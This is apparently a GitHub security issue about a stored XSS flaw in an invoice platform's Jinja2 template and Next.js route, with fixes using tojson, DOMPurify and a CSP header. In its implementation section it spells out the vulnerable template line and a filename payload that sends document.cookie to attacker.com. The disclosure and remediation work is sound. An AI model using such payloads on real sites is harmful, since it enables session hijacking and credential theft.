Skip to content

[Security][Critical] Stored XSS via Unsanitized Filename Injected into JavaScript Context in importcollabload.html #41

@Mandalorian7773

Description

@Mandalorian7773

Ticket Contents (Description):
The template Website/templates/importcollabload.html directly injects a user-controlled filename into a JavaScript string literal without any escaping or sanitization. A malicious user can upload a file whose name contains a single quote and a script payload, causing an immediate XSS breakout in the browser of anyone who views the import page. Similarly, DeveloperAdoption/app/Spreadsheet/[Id]/route.js renders user-supplied spreadsheet content into an HTML context without escaping. Since this is a government billing platform where invoice files are shared across institutional users, a stored XSS attack can lead to session hijacking, credential theft, and unauthorized invoice manipulation at scale.


Goals & Mid-Point Milestone:

  • Audit all Jinja2 templates for unescaped {{ }} variables rendered into <script> blocks or HTML attributes
  • Audit all Next.js route handlers for unescaped user content rendered into HTML responses
  • Replace raw {{ entry["fname"] }} injection with a safe JSON-encoded escape ({{ entry["fname"] | tojson }})
  • Apply DOMPurify or framework-native escaping in the Next.js/React layer for any content rendered from user-uploaded files
  • Add a Content Security Policy (CSP) header to the Flask app as a defense-in-depth measure
  • Add a regression test with a filename containing '; alert(1);// and assert it does not execute
  • Goals achieved by mid-point: all identified injection points patched, CSP header added, test in place

Implementation Details:
Current vulnerable code in Website/templates/importcollabload.html:

// VULNERABLE — user filename injected raw into JS string literal
var fname = '{{ entry["fname"] }}';

If a file is uploaded with the name '; fetch('https://attacker.com?c='+document.cookie);//, the rendered HTML becomes:

var fname = ''; fetch('https://attacker.com?c='+document.cookie);//';

This executes immediately in every victim's browser that loads the page.

Proposed fix for Jinja2 template:

// SAFE — tojson encodes the string, escaping quotes and special chars
var fname = {{ entry["fname"] | tojson }};

Proposed fix for DeveloperAdoption/app/Spreadsheet/[Id]/route.js:

import DOMPurify from 'dompurify';
// Before rendering any user-supplied content into HTML:
const safeContent = DOMPurify.sanitize(userContent);

Defense-in-depth — add CSP header in Flask main.py:

@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'"
    return response

Tech used: Python, Jinja2, Flask, Next.js, JavaScript, DOMPurify


Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions

Organisation Name: NSUT x SEETA x AIC

Domain: Financial Inclusion

Tech Skills Needed: Python, TypeScript, Express.js, RESTful APIs

Mentor(s): @seetadev @aspiringsecurity @prithagupta

Category: Security / Bug


Setup/Installation:

cd Website
pip install -r requirements.txt
python main.py
# Upload a file named: '; alert(document.cookie);//.xlsx
# Navigate to the import collaborator load page
# Observe the alert firing in the browser

Expected Outcome:
No user-supplied string is ever interpolated raw into a JavaScript or HTML context. Filenames containing quotes, angle brackets, or script payloads are safely encoded before rendering. The tojson filter ensures the filename is always a valid, escaped JSON string in JS context. CSP headers provide an additional layer of protection preventing inline script execution even if a future injection point is missed.


Acceptance Criteria:

  • All Jinja2 templates use | tojson or | e for variables rendered inside <script> blocks
  • No raw {{ variable }} interpolation exists inside any <script> tag across the codebase
  • Uploading a file named '; alert(1);// does not trigger any JS execution on the import page
  • Next.js spreadsheet route sanitizes all user content before rendering to HTML
  • CSP header is present on all Flask responses
  • Existing import functionality works correctly after the fix

Mockups/Wireframes: N/A — backend and template security fix, no UI changes required

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions